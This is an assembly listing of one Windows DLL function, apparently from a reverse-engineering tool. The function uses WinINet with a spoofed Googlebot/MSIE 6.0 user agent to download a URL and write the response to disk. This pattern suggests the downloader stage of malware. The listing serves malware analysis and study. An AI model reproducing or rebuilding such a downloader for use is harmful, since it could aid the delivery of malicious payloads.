Function at 0x180003350
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0xf80]
mov eax, 0x1080
call fcn.18002e510
sub rsp, rax
mov rax, qword [0x18006c048]
xor rax, rsp
mov qword [rbp + 0xf70], rax
mov r15, rdx
mov r14, rcx
test rcx, rcx
je 0x18000358a
test rdx, rdx
je 0x18000358a
xor r12d, r12d
mov dword [rsp + 0x5c], 1
mov dword [rsp + 0x58], r12d
mov edi, r12d
mov dword [rsp + 0x60], 3
nop dword [rax + rax]
mov edx, dword [rsp + rdi*4 + 0x58]
lea rcx, str.GooglebotMozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0__
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbx, rax
test rax, rax
je 0x18000358a
mov r9d, 4
mov dword [rsp + 0x4c], 0x1388
lea r8, [rsp + 0x4c]
mov rcx, rax
lea edx, [r9 - 2]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
xor r9d, r9d
mov qword [rsp + 0x28], r12
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
inc rdi
mov rsi, rax
test rax, rax
jne 0x18000344a
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp rdi, 3
jl 0x1800033c0
jmp 0x18000358a
lea r9, [rsp + 0x50]
mov dword [rsp + 0x44], r12d
lea r8, [rsp + 0x44]
mov dword [rsp + 0x50], 4
mov edx, 0x13
mov qword [rsp + 0x20], r12
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov rdx, r12
lea rcx, [rsp + 0x44]
lea r8, [0x180054668]
movzx eax, byte [rcx + rdx]
inc rdx
cmp al, byte [r8 + rdx - 1]
jne 0x180003578
cmp rdx, 4
jne 0x180003483
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 2
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180003578
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x1000
call fcn.180030140
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], r12d
mov r8d, 0x1000
mov dword [rsp + 0x48], r12d
lea rdx, [rsp + 0x70]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x180003556
nop
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], r12
mov r8d, eax
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], r12d
mov r8d, 0x1000
mov dword [rsp + 0x48], r12d
lea rdx, [rsp + 0x70]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rsp + 0x40]
test eax, eax
jne 0x180003510
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x18000358c
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0xf70]
xor rcx, rsp
call fcn.18002e580
lea r11, [rsp + 0x1080]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret